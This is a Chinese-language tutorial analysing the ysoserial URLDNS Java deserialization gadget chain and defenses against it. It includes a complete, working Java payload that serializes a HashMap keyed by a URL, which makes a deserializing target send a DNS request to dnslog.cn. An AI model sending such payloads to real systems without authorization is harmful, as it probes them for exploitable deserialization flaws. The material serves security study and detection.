JAVA反序列化-ysoserial-URLDNS原理分析
字数 1068 2025-08-18 11:35:59
JAVA反序列化-ysoserial-URLDNS原理分析
1. 概述
1.1 ysoserial简介
ysoserial是一个Java反序列化工具,它通过指定利用链生成恶意序列化数据。当目标系统对这些数据进行反序列化时,会触发恶意代码执行。
1.2 URLDNS利用链特点
URLDNS是ysoserial中的一个特殊利用链,具有以下特点:
- 不能执行任意命令
- 只能请求指定的URL
- 主要用于检测目标是否存在反序列化漏洞
2. 核心原理分析
2.1 URL类工作机制
2.1.1 hashCode方法
URL类的hashCode方法会触发DNS请求:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this); // 这里会触发DNS请求
return hashCode;
}
2.1.2 URLStreamHandler.hashCode
该方法会解析URL的各个部分并获取主机地址:
protected int hashCode(URL u) {
String protocol = u.getProtocol();
InetAddress addr = getHostAddress(u); // 这里实际发起DNS请求
String file = u.getFile();
String ref = u.getRef();
// 计算各部分hashCode并组合
// ...
}
2.2 HashMap类与反序列化
2.2.1 序列化特性
HashMap实现了Serializable接口,支持序列化和反序列化:
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable
2.2.2 反序列化过程
HashMap在反序列化时会调用readObject方法:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 读取键值对
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // 关键点
}
}
2.2.3 hash方法触发机制
putVal方法会调用hash方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
3. 利用链构造
3.1 基本思路
- 创建HashMap对象
- 创建URL对象作为key
- 将URL对象放入HashMap
- 序列化HashMap
- 目标反序列化时触发DNS请求
3.2 关键问题与解决方案
3.2.1 hashCode缓存问题
直接构造会导致URL的hashCode被缓存,反序列化时不会触发DNS请求:
HashMap hashMap = new HashMap();
URL url = new URL("http://dnslog.cn");
hashMap.put(url, "test"); // 这里已经计算了hashCode并缓存
3.2.2 反射修改hashCode
使用反射在序列化前重置hashCode:
Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1); // 重置为-1,强制重新计算
3.3 完整Payload构造
public class URLDNSPayload {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://dnslog.cn");
// 使用反射修改hashCode
Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1);
hashMap.put(url, "payload");
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(hashMap);
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();
}
}
4. 利用场景
4.1 漏洞检测
- 用于检测目标是否存在Java反序列化漏洞
- 通过DNS日志确认漏洞存在
4.2 优势
- 不依赖特定第三方库
- 仅触发DNS请求,相对隐蔽
- 适用于各种Java环境
5. 防御措施
5.1 输入验证
- 对反序列化数据进行严格验证
5.2 安全配置
- 使用ObjectInputFilter限制反序列化类
- 更新Java运行环境
5.3 代码层面
- 避免直接反序列化不可信数据
- 重写readObject方法添加安全检查
6. 总结
URLDNS利用链通过巧妙组合Java原生类的特性实现漏洞检测:
- 利用HashMap反序列化时自动调用hash方法的特性
- 通过URL类的hashCode方法触发DNS请求
- 使用反射绕过hashCode缓存机制
- 整个过程不依赖任何第三方库,通用性强
这种技术虽然不能直接执行命令,但在漏洞探测阶段具有重要价值。